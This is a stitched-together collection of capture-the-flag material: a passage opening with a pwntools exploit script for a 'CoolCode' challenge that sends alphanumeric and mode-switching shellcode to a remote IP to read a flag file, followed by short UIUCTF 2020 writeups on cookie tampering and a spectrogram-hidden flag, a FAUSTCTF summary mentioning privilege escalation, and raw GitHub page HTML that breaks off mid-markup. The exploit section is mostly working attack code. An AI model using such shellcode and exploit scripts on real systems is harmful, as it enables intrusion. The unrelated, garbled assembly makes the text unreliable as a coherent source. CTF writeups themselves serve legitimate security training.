know what format the flag will take, so I simplydump this to a file and then grep through it for `rgbCTF`.
```from pwn import *context.log_level = "debug"context.arch = 'amd64'elf = ELF("demo")local = 0if local: p = process("./CoolCode")else: p = remote("39.107.119.192", 9999) def db(): gdb.attach(p, 'b delete') def choose(num): p.sendlineafter("Your choice :", str(num)) def add(idx, mes): choose(1) p.sendlineafter("Index: ", str(idx)) p.sendafter("messages: ", mes) def show(idx): choose(2) p.sendlineafter("Index: ", str(idx)) def delete(idx): choose(3) p.sendlineafter("Index: ", str(idx)) chunk_list = 0x602140 add(-37, "SX"+"RXWZ"+"4S0BD"+"SX4045"+"0BC"+"48420BB"+"XXX" +"UX")#db()'''push rsppop rdxxor esi, DWORD PTR [edx]push rdxpop raxxor edi, DWORD PTR [eax]push rbxpop raxxor al,0x5Apush raxpop rdxpush rbppop raxpush rsi'''add(0, "TZ"+"32"+"RX"+"38"+"SX"+"4Z"+"PZ"+"UX")add(1, "RZ"*7+"VVWX")#----#db()delete(0)shellcode_mmap = '''/*mmap(0x40000000,0x100,7,34,0,0)*/push 0x40000000 /*set rdi*/pop rdipush 0x100 /*set rsi*/pop rsipush 7 /*set rdx*/pop rdxpush 0x22 /*set rcx*/pop r10push 0 /*set r8*/pop r8push 0 /*set r9*/pop r9push 0x9pop raxsyscall/*syscall*/push rdipop rsipush 0pop raxpush 0x100pop rdxpush 0pop rdisyscallpush rsiret''' p.sendline(asm(shellcode_mmap))payload = '''push 0x23push 0x4000000bpop raxpush raxretfq'''open_shellcode = '''mov esp, 0x40000100xor ecx,ecxxor edx,edxmov eax,0x5push 0x67616c66mov ebx,espint 0x80mov ecx,eax'''ret_64 = '''push 0x33push 0x40000030retfqnopnopnopnopnopnop'''read_shellcode = '''push 0x3;pop rdi;push 0x0;pop rax;push 0x40000200pop rsi;push 0x100;pop rdx;syscall;''' write_shellcode = '''push 0x1pop rdipush 0x1pop raxsyscall'''#db()raw_input("write flag")p.sendline(asm(payload)+asm(open_shellcode)+asm(ret_64)+asm(read_shellcode)+asm(write_shellcode)) p.interactive() ```
# UIUCTF 2020## nookstop_The Nook Stop has been acting up today....._ Writeup by **ranguli** Challenege by **ian5v** Visiting the challenge link [https://nookstop.chal.uiuc.tf/](https://nookstop.chal.uiuc.tf/) brings us to a page where the "Flag"button moves around dodging the mouse before you can click it. You can try using the "Tab" key toiterate through the elements on the page and hit enter on the flag button butyou'll end up with: ```Not that easy c: but here's a crumb: uiuctf{w``` The word crumb here is a hint as we'll see soon. I'm interesting in starting out by looking at the JavaScript on the page to see if there is anything of interest. Viewing the source of the page we see a `cookie.js` file, which contains a helper function for dealing with cookies and a comment complaining about how cookie manipulation isn't a feature in vanilla JS. If it wasn't already clear, "crumb" in the last section was a reference to "cookies". Next we see some inline JavaScript. Something of interest is the following fewlines of jQuery: ```javascript $("#flag").click(function(){ console.log("TODO: ใ‚ทใƒผใ‚ฏใƒฌใƒƒใƒˆ_ใƒใƒƒใ‚ฏใ‚จใƒณใƒ‰_ใ‚ตใƒผใƒ“ใ‚นใ‚’ๅฏ่ƒฝใซใ™ใ‚‹"); document.cookie = "clicked_flag_button=true"; location.reload(); });``` This Japanese reads (according to Google Translate), "TODO: Enable Secret_Backend_Service". We see a cookie `clicked_flag_button` being set to `true`, which we can verify exists if we check our cookies in our broser. At this point I took a guess that we need to manipulate cookies, and it wasprobably going to involve adding a new cookie like `secret_backend_service=true`. Sure enough after adding this cookie and refreshing the page, we get the flag. ```uiuctf{wait_its_all_cookies?}``` (Always has been) **Original writeup:** [https://github.com/ranguli/writeups/blob/master/uiuctf/2020/nookstop.md](https://github.com/ranguli/writeups/blob/master/uiuctf/2020/nookstop.md)
Greenhouses is a Python/Bash service where Martians can plant seeds in a greenhouse and watch them grow. The service is a systemd nspawn container with a SSH server running on port 2222. Accounts of this service are just plain Unix accounts in this container. Users access the functionality over a SSH connection, where commands are exposed in /opt/bin. The service contains two vulnerabilities: wrong permissions set on the database file, and a DBus file descriptor leakage resulting in privilege escalation attacks on a custom sudo implementation. For more info, read the full writeup at https://saarsec.rocks/2020/07/17/FAUSTCTF-greenhouses.html
# K.K's Mixtape - uiuctf 2020 _Hmm something is up with this wav file but I dont know what it is please help me :)_ Writeup by **Ranguli** Challenge by **Pranav** All you need to do is open the `SuchAudacity.wav` file in Audacity and changefrom **waveform view** to **spectogram view**, a tutorial on which can be found[here](https://manual.audacityteam.org/man/spectrogram_view.html). After doing so, the flag will reveal itself: ![suchaudacity](https://github.com/ranguli/writeups/raw/master/uiuctf/2020/kks_mixtape/suchaudacity.png) This is not unlike how Aphex Twin hides images inside their audio! **Original writeup:** [https://github.com/ranguli/writeups/blob/master/uiuctf/2020/kks_mixtape/kks_mixtape.md](https://github.com/ranguli/writeups/blob/master/uiuctf/2020/kks_mixtape/kks_mixtape.md)
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-writeups/ASIS CTF QUALS 2020 at master ยท KEERRO/ctf-writeups ยท GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="926B:A589:7F6C786:82B10D8:64121EB5" data-pjax-transient="true"/><meta name="html-safe-nonce" content="89a5867d4ab979c7a9fc1878e5b15f4ecefbd027fce952b4a8916b8ac644694d" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5MjZCOkE1ODk6N0Y2Qzc4Njo4MkIxMEQ4OjY0MTIxRUI1IiwidmlzaXRvcl9pZCI6IjUxMjg0MzE1NTcxNzA4MzEwMjkiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="86345d36a7e5e4e90fce58110d7a5b7db1ec32396111f1983259c2a92fd4bfca" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:162845937" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e68933ac284b7f665c8ea555e19d7e6118920c67571ea8ca1312106e9058e23e/KEERRO/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/ASIS CTF QUALS 2020 at master ยท KEERRO/ctf-writeups" /><meta name="twitter:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e68933ac284b7f665c8ea555e19d7e6118920c67571ea8ca1312106e9058e23e/KEERRO/ctf-writeups" /><meta property="og:image:alt" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/ASIS CTF QUALS 2020 at master ยท KEERRO/ctf-writeups" /><meta property="og:url" content="https://github.com/KEERRO/ctf-writeups" /><meta property="og:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/KEERRO/ctf-writeups git https://github.com/KEERRO/ctf-writeups.git"> <meta name="octolytics-dimension-user_id" content="46076094" /><meta name="octolytics-dimension-user_login" content="KEERRO" /><meta name="octolytics-dimension-repository_id" content="162845937" /><meta name="octolytics-dimension-repository_nwo" content="KEERRO/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="162845937" /><meta name="octolytics-dimension-repository_network_root_nwo" content="KEERRO/ctf-writeups" /> <link rel="canonical" href="https://github.com/KEERRO/ctf-writeups/tree/master/ASIS%20CTF%20QUALS%202020" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Signย up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 